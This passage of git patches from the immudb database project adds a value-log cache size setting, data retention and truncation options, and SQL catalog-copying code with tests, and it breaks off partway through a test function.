immudb.schema.CommittedSQLTx.LastInsertedPKsEntry.value:type_name -> immudb.schema.SQLValue + 115, // 138: immudb.schema.CommittedSQLTx.FirstInsertedPKsEntry.value:type_name -> immudb.schema.SQLValue + 131, // 139: immudb.schema.ImmuService.ListUsers:input_type -> google.protobuf.Empty + 7, // 140: immudb.schema.ImmuService.CreateUser:input_type -> immudb.schema.CreateUserRequest + 9, // 141: immudb.schema.ImmuService.ChangePassword:input_type -> immudb.schema.ChangePasswordRequest + 99, // 142: immudb.schema.ImmuService.ChangePermission:input_type -> immudb.schema.ChangePermissionRequest + 100, // 143: immudb.schema.ImmuService.SetActiveUser:input_type -> immudb.schema.SetActiveUserRequest + 12, // 144: immudb.schema.ImmuService.UpdateAuthConfig:input_type -> immudb.schema.AuthConfig + 13, // 145: immudb.schema.ImmuService.UpdateMTLSConfig:input_type -> immudb.schema.MTLSConfig + 14, // 146: immudb.schema.ImmuService.OpenSession:input_type -> immudb.schema.OpenSessionRequest + 131, // 147: immudb.schema.ImmuService.CloseSession:input_type -> google.protobuf.Empty + 131, // 148: immudb.schema.ImmuService.KeepAlive:input_type -> google.protobuf.Empty + 116, // 149: immudb.schema.ImmuService.NewTx:input_type -> immudb.schema.NewTxRequest + 131, // 150: immudb.schema.ImmuService.Commit:input_type -> google.protobuf.Empty + 131, // 151: immudb.schema.ImmuService.Rollback:input_type -> google.protobuf.Empty + 107, // 152: immudb.schema.ImmuService.TxSQLExec:input_type -> immudb.schema.SQLExecRequest + 108, // 153: immudb.schema.ImmuService.TxSQLQuery:input_type -> immudb.schema.SQLQueryRequest + 10, // 154: immudb.schema.ImmuService.Login:input_type -> immudb.schema.LoginRequest + 131, // 155: immudb.schema.ImmuService.Logout:input_type -> google.protobuf.Empty + 41, // 156: immudb.schema.ImmuService.Set:input_type -> immudb.schema.SetRequest + 45, // 157: immudb.schema.ImmuService.VerifiableSet:input_type -> immudb.schema.VerifiableSetRequest + 42, // 158: immudb.schema.ImmuService.Get:input_type -> immudb.schema.KeyRequest + 46, // 159: immudb.schema.ImmuService.VerifiableGet:input_type -> immudb.schema.VerifiableGetRequest + 44, // 160: immudb.schema.ImmuService.Delete:input_type -> immudb.schema.DeleteKeysRequest + 43, // 161: immudb.schema.ImmuService.GetAll:input_type -> immudb.schema.KeyListRequest + 21, // 162: immudb.schema.ImmuService.ExecAll:input_type -> immudb.schema.ExecAllRequest + 25, // 163: immudb.schema.ImmuService.Scan:input_type -> immudb.schema.ScanRequest + 26, // 164: immudb.schema.ImmuService.Count:input_type -> immudb.schema.KeyPrefix + 131, // 165: immudb.schema.ImmuService.CountAll:input_type -> google.protobuf.Empty + 59, // 166: immudb.schema.ImmuService.TxById:input_type -> immudb.schema.TxRequest + 62, // 167: immudb.schema.ImmuService.VerifiableTxById:input_type -> immudb.schema.VerifiableTxRequest + 63, // 168: immudb.schema.ImmuService.TxScan:input_type -> immudb.schema.TxScanRequest + 57, // 169: immudb.schema.ImmuService.History:input_type -> immudb.schema.HistoryRequest + 47, // 170: immudb.schema.ImmuService.ServerInfo:input_type -> immudb.schema.ServerInfoRequest + 131, // 171: immudb.schema.ImmuService.Health:input_type -> google.protobuf.Empty + 131, // 172: immudb.schema.ImmuService.DatabaseHealth:input_type -> google.protobuf.Empty + 131, // 173: immudb.schema.ImmuService.CurrentState:input_type -> google.protobuf.Empty + 52, // 174: immudb.schema.ImmuService.SetReference:input_type -> immudb.schema.ReferenceRequest + 53, // 175: immudb.schema.ImmuService.VerifiableSetReference:input_type -> immudb.schema.VerifiableReferenceRequest + 54, // 176: immudb.schema.ImmuService.ZAdd:input_type -> immudb.schema.ZAddRequest + 58, // 177: immudb.schema.ImmuService.VerifiableZAdd:input_type -> immudb.schema.VerifiableZAddRequest + 56, // 178: immudb.schema.ImmuService.ZScan:input_type -> immudb.schema.ZScanRequest + 67, // 179: immudb.schema.ImmuService.CreateDatabase:input_type -> immudb.schema.Database + 68, // 180: immudb.schema.ImmuService.CreateDatabaseWith:input_type -> immudb.schema.DatabaseSettings + 69, // 181: immudb.schema.ImmuService.CreateDatabaseV2:input_type -> immudb.schema.CreateDatabaseRequest + 85, // 182: immudb.schema.ImmuService.LoadDatabase:input_type -> immudb.schema.LoadDatabaseRequest + 87, // 183: immudb.schema.ImmuService.UnloadDatabase:input_type -> immudb.schema.UnloadDatabaseRequest + 89, // 184: immudb.schema.ImmuService.DeleteDatabase:input_type -> immudb.schema.DeleteDatabaseRequest + 131, // 185: immudb.schema.ImmuService.DatabaseList:input_type -> google.protobuf.Empty + 102, // 186: immudb.schema.ImmuService.DatabaseListV2:input_type -> immudb.schema.DatabaseListRequestV2 + 67, // 187: immudb.schema.ImmuService.UseDatabase:input_type -> immudb.schema.Database + 68, // 188: immudb.schema.ImmuService.UpdateDatabase:input_type -> immudb.schema.DatabaseSettings + 71, // 189: immudb.schema.ImmuService.UpdateDatabaseV2:input_type -> immudb.schema.UpdateDatabaseRequest + 131, // 190: immudb.schema.ImmuService.GetDatabaseSettings:input_type -> google.protobuf.Empty + 73, // 191: immudb.schema.ImmuService.GetDatabaseSettingsV2:input_type -> immudb.schema.DatabaseSettingsRequest + 91, // 192: immudb.schema.ImmuService.FlushIndex:input_type -> immudb.schema.FlushIndexRequest + 131, // 193: immudb.schema.ImmuService.CompactIndex:input_type -> google.protobuf.Empty + 42, // 194: immudb.schema.ImmuService.streamGet:input_type -> immudb.schema.KeyRequest + 105, // 195: immudb.schema.ImmuService.streamSet:input_type -> immudb.schema.Chunk + 46, // 196: immudb.schema.ImmuService.streamVerifiableGet:input_type -> immudb.schema.VerifiableGetRequest + 105, // 197: immudb.schema.ImmuService.streamVerifiableSet:input_type -> immudb.schema.Chunk + 25, // 198: immudb.schema.ImmuService.streamScan:input_type -> immudb.schema.ScanRequest + 56, // 199: immudb.schema.ImmuService.streamZScan:input_type -> immudb.schema.ZScanRequest + 57, // 200: immudb.schema.ImmuService.streamHistory:input_type -> immudb.schema.HistoryRequest + 105, // 201: immudb.schema.ImmuService.streamExecAll:input_type -> immudb.schema.Chunk + 65, // 202: immudb.schema.ImmuService.exportTx:input_type -> immudb.schema.ExportTxRequest + 105, // 203: immudb.schema.ImmuService.replicateTx:input_type -> immudb.schema.Chunk + 107, // 204: immudb.schema.ImmuService.SQLExec:input_type -> immudb.schema.SQLExecRequest + 108, // 205: immudb.schema.ImmuService.SQLQuery:input_type -> immudb.schema.SQLQueryRequest + 131, // 206: immudb.schema.ImmuService.ListTables:input_type -> google.protobuf.Empty + 93, // 207: immudb.schema.ImmuService.DescribeTable:input_type -> immudb.schema.Table + 95, // 208: immudb.schema.ImmuService.VerifiableSQLGet:input_type -> immudb.schema.VerifiableSQLGetRequest + 6, // 209: immudb.schema.ImmuService.ListUsers:output_type -> immudb.schema.UserList + 131, // 210: immudb.schema.ImmuService.CreateUser:output_type -> google.protobuf.Empty + 131, // 211: immudb.schema.ImmuService.ChangePassword:output_type -> google.protobuf.Empty + 131, // 212: immudb.schema.ImmuService.ChangePermission:output_type -> google.protobuf.Empty + 131, // 213: immudb.schema.ImmuService.SetActiveUser:output_type -> google.protobuf.Empty + 131, // 214: immudb.schema.ImmuService.UpdateAuthConfig:output_type -> google.protobuf.Empty + 131, // 215: immudb.schema.ImmuService.UpdateMTLSConfig:output_type -> google.protobuf.Empty + 15, // 216: immudb.schema.ImmuService.OpenSession:output_type -> immudb.schema.OpenSessionResponse + 131, // 217: immudb.schema.ImmuService.CloseSession:output_type -> google.protobuf.Empty + 131, // 218: immudb.schema.ImmuService.KeepAlive:output_type -> google.protobuf.Empty + 117, // 219: immudb.schema.ImmuService.NewTx:output_type -> immudb.schema.NewTxResponse + 111, // 220: immudb.schema.ImmuService.Commit:output_type -> immudb.schema.CommittedSQLTx + 131, // 221: immudb.schema.ImmuService.Rollback:output_type -> google.protobuf.Empty + 131, // 222: immudb.schema.ImmuService.TxSQLExec:output_type -> google.protobuf.Empty + 112, // 223: immudb.schema.ImmuService.TxSQLQuery:output_type -> immudb.schema.SQLQueryResult + 11, // 224: immudb.schema.ImmuService.Login:output_type -> immudb.schema.LoginResponse + 131, // 225: immudb.schema.ImmuService.Logout:output_type -> google.protobuf.Empty + 29, // 226: immudb.schema.ImmuService.Set:output_type -> immudb.schema.TxHeader + 38, // 227: immudb.schema.ImmuService.VerifiableSet:output_type -> immudb.schema.VerifiableTx + 18, // 228: immudb.schema.ImmuService.Get:output_type -> immudb.schema.Entry + 39, // 229: immudb.schema.ImmuService.VerifiableGet:output_type -> immudb.schema.VerifiableEntry + 29, // 230: immudb.schema.ImmuService.Delete:output_type -> immudb.schema.TxHeader + 22, // 231: immudb.schema.ImmuService.GetAll:output_type -> immudb.schema.Entries + 29, // 232: immudb.schema.ImmuService.ExecAll:output_type -> immudb.schema.TxHeader + 22, // 233: immudb.schema.ImmuService.Scan:output_type -> immudb.schema.Entries + 27, // 234: immudb.schema.ImmuService.Count:output_type -> immudb.schema.EntryCount + 27, // 235: immudb.schema.ImmuService.CountAll:output_type -> immudb.schema.EntryCount + 34, // 236: immudb.schema.ImmuService.TxById:output_type -> immudb.schema.Tx + 38, // 237: immudb.schema.ImmuService.VerifiableTxById:output_type -> immudb.schema.VerifiableTx + 64, // 238: immudb.schema.ImmuService.TxScan:output_type -> immudb.schema.TxList + 22, // 239: immudb.schema.ImmuService.History:output_type -> immudb.schema.Entries + 48, // 240: immudb.schema.ImmuService.ServerInfo:output_type -> immudb.schema.ServerInfoResponse + 49, // 241: immudb.schema.ImmuService.Health:output_type -> immudb.schema.HealthResponse + 50, // 242: immudb.schema.ImmuService.DatabaseHealth:output_type -> immudb.schema.DatabaseHealthResponse + 51, // 243: immudb.schema.ImmuService.CurrentState:output_type -> immudb.schema.ImmutableState + 29, // 244: immudb.schema.ImmuService.SetReference:output_type -> immudb.schema.TxHeader + 38, // 245: immudb.schema.ImmuService.VerifiableSetReference:output_type -> immudb.schema.VerifiableTx + 29, // 246: immudb.schema.ImmuService.ZAdd:output_type -> immudb.schema.TxHeader + 38, // 247: immudb.schema.ImmuService.VerifiableZAdd:output_type -> immudb.schema.VerifiableTx + 24, // 248: immudb.schema.ImmuService.ZScan:output_type -> immudb.schema.ZEntries + 131, // 249: immudb.schema.ImmuService.CreateDatabase:output_type -> google.protobuf.Empty + 131, // 250: immudb.schema.ImmuService.CreateDatabaseWith:output_type -> google.protobuf.Empty + 70, // 251: immudb.schema.ImmuService.CreateDatabaseV2:output_type -> immudb.schema.CreateDatabaseResponse + 86, // 252: immudb.schema.ImmuService.LoadDatabase:output_type -> immudb.schema.LoadDatabaseResponse + 88, // 253: immudb.schema.ImmuService.UnloadDatabase:output_type -> immudb.schema.UnloadDatabaseResponse + 90, // 254: immudb.schema.ImmuService.DeleteDatabase:output_type -> immudb.schema.DeleteDatabaseResponse + 101, // 255: immudb.schema.ImmuService.DatabaseList:output_type -> immudb.schema.DatabaseListResponse + 103, // 256: immudb.schema.ImmuService.DatabaseListV2:output_type -> immudb.schema.DatabaseListResponseV2 + 98, // 257: immudb.schema.ImmuService.UseDatabase:output_type -> immudb.schema.UseDatabaseReply + 131, // 258: immudb.schema.ImmuService.UpdateDatabase:output_type -> google.protobuf.Empty + 72, // 259: immudb.schema.ImmuService.UpdateDatabaseV2:output_type -> immudb.schema.UpdateDatabaseResponse + 68, // 260: immudb.schema.ImmuService.GetDatabaseSettings:output_type -> immudb.schema.DatabaseSettings + 74, // 261: immudb.schema.ImmuService.GetDatabaseSettingsV2:output_type -> immudb.schema.DatabaseSettingsResponse + 92, // 262: immudb.schema.ImmuService.FlushIndex:output_type -> immudb.schema.FlushIndexResponse + 131, // 263: immudb.schema.ImmuService.CompactIndex:output_type -> google.protobuf.Empty + 105, // 264: immudb.schema.ImmuService.streamGet:output_type -> immudb.schema.Chunk + 29, // 265: immudb.schema.ImmuService.streamSet:output_type -> immudb.schema.TxHeader + 105, // 266: immudb.schema.ImmuService.streamVerifiableGet:output_type -> immudb.schema.Chunk + 38, // 267: immudb.schema.ImmuService.streamVerifiableSet:output_type -> immudb.schema.VerifiableTx + 105, // 268: immudb.schema.ImmuService.streamScan:output_type -> immudb.schema.Chunk + 105, // 269: immudb.schema.ImmuService.streamZScan:output_type -> immudb.schema.Chunk + 105, // 270: immudb.schema.ImmuService.streamHistory:output_type -> immudb.schema.Chunk + 29, // 271: immudb.schema.ImmuService.streamExecAll:output_type -> immudb.schema.TxHeader + 105, // 272: immudb.schema.ImmuService.exportTx:output_type -> immudb.schema.Chunk + 29, // 273: immudb.schema.ImmuService.replicateTx:output_type -> immudb.schema.TxHeader + 110, // 274: immudb.schema.ImmuService.SQLExec:output_type -> immudb.schema.SQLExecResult + 112, // 275: immudb.schema.ImmuService.SQLQuery:output_type -> immudb.schema.SQLQueryResult + 112, // 276: immudb.schema.ImmuService.ListTables:output_type -> immudb.schema.SQLQueryResult + 112, // 277: immudb.schema.ImmuService.DescribeTable:output_type -> immudb.schema.SQLQueryResult + 97, // 278: immudb.schema.ImmuService.VerifiableSQLGet:output_type -> immudb.schema.VerifiableSQLEntry + 209, // [209:279] is the sub-list for method output_type + 139, // [139:209] is the sub-list for method input_type + 139, // [139:139] is the sub-list for extension type_name + 139, // [139:139] is the sub-list for extension extendee + 0, // [0:139] is the sub-list for field type_name } func init() { file_schema_proto_init() } diff --git a/pkg/api/schema/schema.proto b/pkg/api/schema/schema.proto index e624e37a4e..5b03a6dee0 100644 --- a/pkg/api/schema/schema.proto +++ b/pkg/api/schema/schema.proto @@ -1028,6 +1028,9 @@ message DatabaseNullableSettings { // Limit the number of read entries per transaction NullableUint32 mvccReadSetLimit = 27; + + // Size of the LRU cache for value logs + NullableUint32 vLogCacheSize = 28; } message ReplicationNullableSettings { diff --git a/pkg/api/schema/schema.swagger.json b/pkg/api/schema/schema.swagger.json index 66171e5cca..0157e3ce64 100644 --- a/pkg/api/schema/schema.swagger.json +++ b/pkg/api/schema/schema.swagger.json @@ -2095,6 +2095,10 @@ "mvccReadSetLimit": { "$ref": "#/definitions/schemaNullableUint32", "title": "Limit the number of read entries per transaction" + }, + "vLogCacheSize": { + "$ref": "#/definitions/schemaNullableUint32", + "title": "Size of the LRU cache for value logs" } } }, diff --git a/pkg/integration/database_creation_test.go b/pkg/integration/database_creation_test.go index 6ec7afd562..68da607c0e 100644 --- a/pkg/integration/database_creation_test.go +++ b/pkg/integration/database_creation_test.go @@ -69,6 +69,7 @@ func TestCreateDatabaseV2(t *testing.T) { MaxConcurrency: &schema.NullableUint32{Value: 10}, MaxIOConcurrency: &schema.NullableUint32{Value: 2}, TxLogCacheSize: &schema.NullableUint32{Value: 2000}, + VLogCacheSize: &schema.NullableUint32{Value: 2200}, VLogMaxOpenedFiles: &schema.NullableUint32{Value: 8}, TxLogMaxOpenedFiles: &schema.NullableUint32{Value: 4}, CommitLogMaxOpenedFiles: &schema.NullableUint32{Value: 2}, @@ -114,6 +115,7 @@ func TestCreateDatabaseV2(t *testing.T) { require.Equal(t, dbNullableSettings.MaxConcurrency.Value, res.Settings.MaxConcurrency.Value) require.Equal(t, dbNullableSettings.MaxIOConcurrency.Value, res.Settings.MaxIOConcurrency.Value) require.Equal(t, dbNullableSettings.TxLogCacheSize.Value, res.Settings.TxLogCacheSize.Value) + require.Equal(t, dbNullableSettings.VLogCacheSize.Value, res.Settings.VLogCacheSize.Value) require.Equal(t, dbNullableSettings.VLogMaxOpenedFiles.Value, res.Settings.VLogMaxOpenedFiles.Value) require.Equal(t, dbNullableSettings.TxLogMaxOpenedFiles.Value, res.Settings.TxLogMaxOpenedFiles.Value) require.Equal(t, dbNullableSettings.CommitLogMaxOpenedFiles.Value, res.Settings.CommitLogMaxOpenedFiles.Value) diff --git a/pkg/server/db_options.go b/pkg/server/db_options.go index b060fc2ab4..7e8fbfe75f 100644 --- a/pkg/server/db_options.go +++ b/pkg/server/db_options.go @@ -68,6 +68,7 @@ type dbOptions struct { WriteBufferSize int `json:"writeBufferSize"` TxLogCacheSize int `json:"txLogCacheSize"` + VLogCacheSize int `json:"vLogCacheSize"` VLogMaxOpenedFiles int `json:"vLogMaxOpenedFiles"` TxLogMaxOpenedFiles int `json:"txLogMaxOpenedFiles"` CommitLogMaxOpenedFiles int `json:"commitLogMaxOpenedFiles"` @@ -145,6 +146,7 @@ func (s *ImmuServer) defaultDBOptions(dbName string) *dbOptions { MaxIOConcurrency: store.DefaultMaxIOConcurrency, WriteBufferSize: store.DefaultWriteBufferSize, TxLogCacheSize: store.DefaultTxLogCacheSize, + VLogCacheSize: store.DefaultVLogCacheSize, VLogMaxOpenedFiles: store.DefaultVLogMaxOpenedFiles, TxLogMaxOpenedFiles: store.DefaultTxLogMaxOpenedFiles, CommitLogMaxOpenedFiles: store.DefaultCommitLogMaxOpenedFiles, @@ -264,6 +266,7 @@ func (opts *dbOptions) storeOptions() *store.Options { WithMaxIOConcurrency(opts.MaxIOConcurrency). WithWriteBufferSize(opts.WriteBufferSize). WithTxLogCacheSize(opts.TxLogCacheSize). + WithVLogCacheSize(opts.VLogCacheSize). WithVLogMaxOpenedFiles(opts.VLogMaxOpenedFiles). WithTxLogMaxOpenedFiles(opts.TxLogMaxOpenedFiles). WithCommitLogMaxOpenedFiles(opts.CommitLogMaxOpenedFiles). @@ -313,6 +316,7 @@ func (opts *dbOptions) databaseNullableSettings() *schema.DatabaseNullableSettin WriteBufferSize: &schema.NullableUint32{Value: uint32(opts.WriteBufferSize)}, TxLogCacheSize: &schema.NullableUint32{Value: uint32(opts.TxLogCacheSize)}, + VLogCacheSize: &schema.NullableUint32{Value: uint32(opts.VLogCacheSize)}, VLogMaxOpenedFiles: &schema.NullableUint32{Value: uint32(opts.VLogMaxOpenedFiles)}, TxLogMaxOpenedFiles: &schema.NullableUint32{Value: uint32(opts.TxLogMaxOpenedFiles)}, CommitLogMaxOpenedFiles: &schema.NullableUint32{Value: uint32(opts.CommitLogMaxOpenedFiles)}, @@ -533,6 +537,9 @@ func (s *ImmuServer) overwriteWith(opts *dbOptions, settings *schema.DatabaseNul if settings.TxLogCacheSize != nil { opts.TxLogCacheSize = int(settings.TxLogCacheSize.Value) } + if settings.VLogCacheSize != nil { + opts.VLogCacheSize = int(settings.VLogCacheSize.Value) + } if settings.VLogMaxOpenedFiles != nil { opts.VLogMaxOpenedFiles = int(settings.VLogMaxOpenedFiles.Value) } @@ -819,6 +826,7 @@ func (s *ImmuServer) logDBOptions(database string, opts *dbOptions) { s.Logger.Infof("%s.MaxIOConcurrency: %v", database, opts.MaxIOConcurrency) s.Logger.Infof("%s.WriteBufferSize: %v", database, opts.WriteBufferSize) s.Logger.Infof("%s.TxLogCacheSize: %v", database, opts.TxLogCacheSize) + s.Logger.Infof("%s.VLogCacheSize: %v", database, opts.VLogCacheSize) s.Logger.Infof("%s.VLogMaxOpenedFiles: %v", database, opts.VLogMaxOpenedFiles) s.Logger.Infof("%s.TxLogMaxOpenedFiles: %v", database, opts.TxLogMaxOpenedFiles) s.Logger.Infof("%s.CommitLogMaxOpenedFiles: %v", database, opts.CommitLogMaxOpenedFiles) From ceca8e4726dd25e0c684b64782e1524c797b434d Mon Sep 17 00:00:00 2001 From: Farhan Khan Date: Mon, 9 Jan 2023 19:52:14 +0530 Subject: [PATCH 0166/1062] feat: add vlog truncation functionality --- cmd/immuadmin/command/database.go | 32 + embedded/sql/engine.go | 264 ++++ embedded/sql/engine_test.go | 208 +++ embedded/store/immustore.go | 283 +++- embedded/store/immustore_test.go | 6 +- embedded/store/key_reader.go | 2 +- embedded/store/ongoing_tx.go | 21 +- embedded/store/options.go | 1 + embedded/store/tx.go | 13 +- embedded/store/tx_metadata.go | 149 +- embedded/store/tx_metadata_test.go | 42 +- embedded/store/tx_test.go | 2 +- embedded/store/txpool.go | 4 +- pkg/api/schema/docs.md | 2 + pkg/api/schema/schema.pb.go | 2098 ++++++++++++++-------------- pkg/api/schema/schema.pb.gw.go | 42 +- pkg/api/schema/schema.proto | 6 + pkg/api/schema/schema.swagger.json | 10 +- pkg/api/schema/schema_grpc.pb.go | 280 ++-- pkg/database/database.go | 124 +- pkg/database/database_test.go | 108 ++ pkg/database/dboptions.go | 34 +- pkg/database/dboptions_test.go | 8 +- pkg/database/truncator.go | 124 ++ pkg/database/truncator_test.go | 413 ++++++ pkg/server/db_options.go | 23 +- pkg/util/runtime.go | 53 + pkg/util/runtime_test.go | 29 + pkg/util/time.go | 66 + pkg/util/time_test.go | 118 ++ 30 files changed, 3312 insertions(+), 1253 deletions(-) create mode 100644 pkg/database/truncator.go create mode 100644 pkg/database/truncator_test.go create mode 100644 pkg/util/runtime.go create mode 100644 pkg/util/runtime_test.go create mode 100644 pkg/util/time.go create mode 100644 pkg/util/time_test.go diff --git a/cmd/immuadmin/command/database.go b/cmd/immuadmin/command/database.go index 16ec2d6eb7..aaffb844af 100644 --- a/cmd/immuadmin/command/database.go +++ b/cmd/immuadmin/command/database.go @@ -26,6 +26,7 @@ import ( "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/database" "github.com/codenotary/immudb/pkg/replication" + "github.com/codenotary/immudb/pkg/util" "github.com/spf13/cobra" "github.com/spf13/pflag" "google.golang.org/protobuf/types/known/emptypb" @@ -52,6 +53,8 @@ func addDbUpdateFlags(c *cobra.Command) { c.Flags().Uint32("write-buffer-size", store.DefaultWriteBufferSize, "set the size of in-memory buffers for file abstractions") c.Flags().Uint32("read-tx-pool-size", database.DefaultReadTxPoolSize, "set transaction read pool size (used for reading transaction objects)") c.Flags().Bool("autoload", true, "enable database autoloading") + c.Flags().String("retention-period", "", "duration of time to retain data in storage. Units Supported: y, w, d, h, m.") + c.Flags().Duration("truncation-frequency", store.DefaultTruncationFrequency, "set the truncation frequency for the database") flagNameMapping := map[string]string{ "replication-enabled": "replication-is-replica", @@ -469,6 +472,25 @@ func prepareDatabaseNullableSettings(flags *pflag.FlagSet) (*schema.DatabaseNull return nil, err } + rps, err := condString("retention-period") + if err != nil { + return nil, err + } + + if rps != nil && rps.Value != "" { + dur, err := util.ParseDuration(rps.Value) + if err != nil { + return nil, err + } + + ret.RetentionPeriod = &schema.NullableMilliseconds{Value: dur.Milliseconds()} + } + + ret.TruncationFrequency, err = condDuration("truncation-frequency") + if err != nil { + return nil, err + } + return ret, nil } @@ -508,5 +530,15 @@ func databaseNullableSettingsStr(settings *schema.DatabaseNullableSettings) stri propertiesStr = append(propertiesStr, fmt.Sprintf("autoload: %v", settings.Autoload.GetValue())) } + if settings.RetentionPeriod != nil { + retDur := time.Duration(settings.GetRetentionPeriod().GetValue()) * time.Millisecond + propertiesStr = append(propertiesStr, fmt.Sprintf("retention-period: %v", retDur)) + } + + if settings.TruncationFrequency != nil { + freq := time.Duration(settings.GetTruncationFrequency().GetValue()) * time.Millisecond + propertiesStr = append(propertiesStr, fmt.Sprintf("truncation-frequency: %v", freq)) + } + return strings.Join(propertiesStr, ", ") } diff --git a/embedded/sql/engine.go b/embedded/sql/engine.go index f6acbbe497..bab37bd6ff 100644 --- a/embedded/sql/engine.go +++ b/embedded/sql/engine.go @@ -18,8 +18,10 @@ package sql import ( "context" + "encoding/binary" "errors" "fmt" + "io" "strings" "sync" @@ -485,3 +487,265 @@ func normalizeParams(params map[string]interface{}) (map[string]interface{}, err return nparams, nil } + +// CopyCatalog returns a new transaction with a copy of the current catalog. +func (e *Engine) CopyCatalog(ctx context.Context) (*store.OngoingTx, error) { + e.mutex.RLock() + defer e.mutex.RUnlock() + + sqltx, err := e.NewTx(context.Background(), DefaultTxOptions()) + if err != nil { + return nil, err + } + + catalog := newCatalog() + err = catalog.addSchemaToTx(e.prefix, sqltx.tx) + if err != nil { + return nil, err + } + + return sqltx.tx, nil +} + +// addSchemaToTx adds the schema to the ongoing transaction. +func (t *Table) addIndexesToTx(sqlPrefix []byte, tx *store.OngoingTx) error { + initialKey := mapKey(sqlPrefix, catalogIndexPrefix, EncodeID(t.db.id), EncodeID(t.id)) + + idxReaderSpec := store.KeyReaderSpec{ + Prefix: initialKey, + Filters: []store.FilterFn{store.IgnoreExpired, store.IgnoreDeleted}, + } + + idxSpecReader, err := tx.NewKeyReader(idxReaderSpec) + if err != nil { + return err + } + defer idxSpecReader.Close() + + for { + mkey, vref, err := idxSpecReader.Read() + if err == store.ErrNoMoreEntries { + break + } + if err != nil { + return err + } + + dbID, tableID, _, err := unmapIndex(sqlPrefix, mkey) + if err != nil { + return err + } + + if t.id != tableID || t.db.id != dbID { + return ErrCorruptedData + } + + v, err := vref.Resolve() + if err == io.EOF { + continue + } + if err != nil { + return err + } + + err = tx.Set(mkey, nil, v) + if err != nil { + return err + } + } + + return nil +} + +// addSchemaToTx adds the schema of the catalog to the given transaction. +func (d *Database) addTablesToTx(sqlPrefix []byte, tx *store.OngoingTx) error { + dbReaderSpec := store.KeyReaderSpec{ + Prefix: mapKey(sqlPrefix, catalogTablePrefix, EncodeID(d.id)), + Filters: []store.FilterFn{store.IgnoreExpired, store.IgnoreDeleted}, + } + + tableReader, err := tx.NewKeyReader(dbReaderSpec) + if err != nil { + return err + } + defer tableReader.Close() + + for { + mkey, vref, err := tableReader.Read() + if err == store.ErrNoMoreEntries { + break + } + if err != nil { + return err + } + + dbID, tableID, err := unmapTableID(sqlPrefix, mkey) + if err != nil { + return err + } + + if dbID != d.id { + return ErrCorruptedData + } + + // read col specs into tx + colSpecs, err := addColSpecsToTx(d.id, tableID, tx, sqlPrefix) + if err != nil { + return err + } + + v, err := vref.Resolve() + if err == io.EOF { + continue + } + if err != nil { + return err + } + + err = tx.Set(mkey, nil, v) + if err != nil { + return err + } + + table, err := d.newTable(string(v), colSpecs) + if err != nil { + return err + } + + if tableID != table.id { + return ErrCorruptedData + } + + // read index specs into tx + err = table.addIndexesToTx(sqlPrefix, tx) + if err != nil { + return err + } + + } + + return nil +} + +// addSchemaToTx adds the schema of the catalog to the given transaction. +func (c *Catalog) addSchemaToTx(sqlPrefix []byte, tx *store.OngoingTx) error { + dbReaderSpec := store.KeyReaderSpec{ + Prefix: mapKey(sqlPrefix, catalogDatabasePrefix), + Filters: []store.FilterFn{store.IgnoreExpired, store.IgnoreDeleted}, + } + + dbReader, err := tx.NewKeyReader(dbReaderSpec) + if err != nil { + return err + } + defer dbReader.Close() + + for { + mkey, vref, err := dbReader.Read() + if err == store.ErrNoMoreEntries { + break + } + + if err != nil { + return err + } + + id, err := unmapDatabaseID(sqlPrefix, mkey) + if err != nil { + return err + } + + v, err := vref.Resolve() + if err == io.EOF { + continue + } + if err != nil { + return err + } + + err = tx.Set(mkey, nil, v) + if err != nil { + return err + } + + db, err := c.newDatabase(id, string(v)) + if err != nil { + return err + } + + // read tables and indexes into tx + err = db.addTablesToTx(sqlPrefix, tx) + if err != nil { + return err + } + + } + + return nil +} + +// addColSpecsToTx adds the column specs of the given table to the given transaction. +func addColSpecsToTx(dbID, tableID uint32, tx *store.OngoingTx, sqlPrefix []byte) (specs []*ColSpec, err error) { + initialKey := mapKey(sqlPrefix, catalogColumnPrefix, EncodeID(dbID), EncodeID(tableID)) + + dbReaderSpec := store.KeyReaderSpec{ + Prefix: initialKey, + Filters: []store.FilterFn{store.IgnoreExpired, store.IgnoreDeleted}, + } + + colSpecReader, err := tx.NewKeyReader(dbReaderSpec) + if err != nil { + return nil, err + } + defer colSpecReader.Close() + + specs = make([]*ColSpec, 0) + + for { + mkey, vref, err := colSpecReader.Read() + if err == store.ErrNoMoreEntries { + break + } + if err != nil { + return nil, err + } + + mdbID, mtableID, colID, colType, err := unmapColSpec(sqlPrefix, mkey) + if err != nil { + return nil, err + } + + if dbID != mdbID || tableID != mtableID { + return nil, ErrCorruptedData + } + + v, err := vref.Resolve() + if err != nil { + return nil, err + } + if len(v) < 6 { + return nil, ErrCorruptedData + } + + err = tx.Set(mkey, nil, v) + if err != nil { + return nil, err + } + + spec := &ColSpec{ + colName: string(v[5:]), + colType: colType, + maxLen: int(binary.BigEndian.Uint32(v[1:])), + autoIncrement: v[0]&autoIncrementFlag != 0, + notNull: v[0]&nullableFlag != 0, + } + + specs = append(specs, spec) + + if int(colID) != len(specs) { + return nil, ErrCorruptedData + } + } + + return +} diff --git a/embedded/sql/engine_test.go b/embedded/sql/engine_test.go index 4ad79289d0..0ad15dd6f3 100644 --- a/embedded/sql/engine_test.go +++ b/embedded/sql/engine_test.go @@ -5897,3 +5897,211 @@ func TestSQLTxWithClosedContext(t *testing.T) { require.ErrorIs(t, err, context.Canceled) }) } + +func setupCommonTestWithOptions(t *testing.T, sopts *store.Options) (*Engine, *store.ImmuStore) { + st, err := store.Open(t.TempDir(), sopts) + require.NoError(t, err) + t.Cleanup(func() { closeStore(t, st) }) + + engine, err := NewEngine(st, DefaultOptions().WithPrefix(sqlPrefix)) + require.NoError(t, err) + + _, _, err = engine.Exec("CREATE DATABASE db1;", nil, nil) + require.NoError(t, err) + + _, _, err = engine.Exec("USE DATABASE db1;", nil, nil) + require.NoError(t, err) + + return engine, st +} + +func TestCopyCatalog(t *testing.T) { + opts := store.DefaultOptions() + opts.WithIndexOptions(opts.IndexOpts.WithMaxActiveSnapshots(10)).WithFileSize(6) + engine, st := setupCommonTestWithOptions(t, opts) + + exec := func(t *testing.T, stmt string) *SQLTx { + ret, _, err := engine.Exec(stmt, nil, nil) + require.NoError(t, err) + return ret + } + + query := func(t *testing.T, stmt string, expectedRows ...*Row) { + reader, err := engine.Query(stmt, nil, nil) + require.NoError(t, err) + + for _, expectedRow := range expectedRows { + row, err := reader.Read() + require.NoError(t, err) + require.EqualValues(t, expectedRow, row) + } + + _, err = reader.Read() + require.ErrorIs(t, err, ErrNoMoreRows) + + err = reader.Close() + require.NoError(t, err) + } + + colVal := func(t *testing.T, v interface{}, 